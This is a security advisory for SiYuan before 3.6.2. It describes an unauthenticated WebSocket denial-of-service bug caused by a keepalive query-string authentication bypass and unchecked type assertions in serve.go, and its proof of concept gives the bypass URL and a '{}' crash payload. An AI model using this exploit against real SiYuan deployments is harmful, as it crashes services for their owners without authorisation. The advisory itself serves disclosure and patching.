Vulnerability GHSA-3g9h-9hp4-654v

High Risk
HIGH RISK
CVSS Score: 7.5
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
7 months ago
March 18, 2026 at 08:11 PM UTC
SiYuan has an Unauthenticated WebSocket DoS via Auth Keepalive Bypass
<3.6.2
<3.6.2

Summary

SiYuan has an Unauthenticated WebSocket DoS via Auth Keepalive Bypass

Details

Summary

The SiYuan kernel WebSocket server accepts unauthenticated connections when a specific “auth keepalive” query parameter is present. After connection, incoming messages are parsed using unchecked type assertions on attacker-controlled JSON.

A remote attacker can send malformed messages that trigger a runtime panic, potentially crashing the kernel process and causing denial of service.

Details

1. Authentication Bypass via Keepalive Query

Unauthenticated connections are accepted if the request URI matches a specific pattern intended for an authentication page keepalive.

File: kernel/server/serve.go

if !authOk {
    authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
             strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
}

2. Unsafe Type Assertions on Untrusted Input

Incoming JSON messages are parsed into a generic map and fields are accessed without validation.

File: kernel/server/serve.go

cmdStr := request["cmd"].(string)
cmdId  := request["reqId"].(float64)
param  := request["param"].(map[string]interface{})

Malformed or missing fields trigger a runtime panic. The handler does not implement local panic recovery, allowing crashes to propagate.

PoC

Step 1 — Prepare workspace directory

mkdir -p ./workspace

Step 2 — Run SiYuan container

docker run -d \
  -p 6806:6806 \
  -e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan \
  --workspace=/siyuan/workspace

Service becomes reachable at http://127.0.0.1:6806

Step 3 — Confirm service availability

Open in browser:

http://127.0.0.1:6806

Step 4 — Connect to unauthenticated WebSocket endpoint

ws://127.0.0.1:6806/ws?app=siyuan&id=auth&type=auth

This connection is accepted without credentials.

Step 5 — Send malformed payload

Payload:


{}

Step 6 — Observe behavior

Monitor container logs:


docker logs -f <container_id>

Impact

An unauthenticated attacker with network access can repeatedly crash the kernel, causing persistent denial of service.

Impact is highest when the service is exposed beyond localhost (e.g., Docker deployments, reverse proxies, LAN access, or public hosting).

Related Vulnerabilities

Other vulnerabilities affecting the same packages

Unknown
9 hours ago
SiYuan: MCP file tool's blocklist is incomplete relative to the HTTP file API it claims to align with, exposing publish-mode passwords and other sensitive workspace files in github.com/siyuan-note/siyuan/kernel
<0.0.0-20260808051406-3542530c505f GO-2026-6863
<0.0.0-20260808051406-3542530c505f GO-2026-6863
Unknown
9 hours ago
SiYuan: authFilePublishAccess distinguishes hidden and forbidden documents from public and nonexistent ones, and issues a publish-auth cookie for documents it reports as forbidden in github.com/siyuan-note/siyuan/kernel
<0.0.0-20260731093152-c7522b8db586 GO-2026-6828
<0.0.0-20260731093152-c7522b8db586 GO-2026-6828
Unknown
9 hours ago
SiYuan: A parser differential between the WebSocket keepalive exemption and the session quarantine allows unauthenticated access to the broadcast event stream in github.com/siyuan-note/siyuan/kernel
<0.0.0-20260731131820-67bc300b6ea6 GO-2026-6831
<0.0.0-20260731131820-67bc300b6ea6 GO-2026-6831
Unknown
9 hours ago
SiYuan: The publish filter for database backlinks consults the forbidden list instead of the visibility list, disclosing hidden-tier documents to anonymous readers in github.com/siyuan-note/siyuan/kernel
<0.0.0-20260730150429-5b42614311b0 GO-2026-6833
<0.0.0-20260730150429-5b42614311b0 GO-2026-6833
Unknown
9 hours ago
SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin in github.com/siyuan-note/siyuan/kernel
<0.0.0-20260808010544-26ccb40d390e GO-2026-6834
<0.0.0-20260808010544-26ccb40d390e GO-2026-6834
View all vulnerabilities for these packages

Timeline

Published
7 months ago
March 18, 2026 at 08:11 PM UTC
Last Modified
10 hours ago
November 05, 2026 at 09:30 PM UTC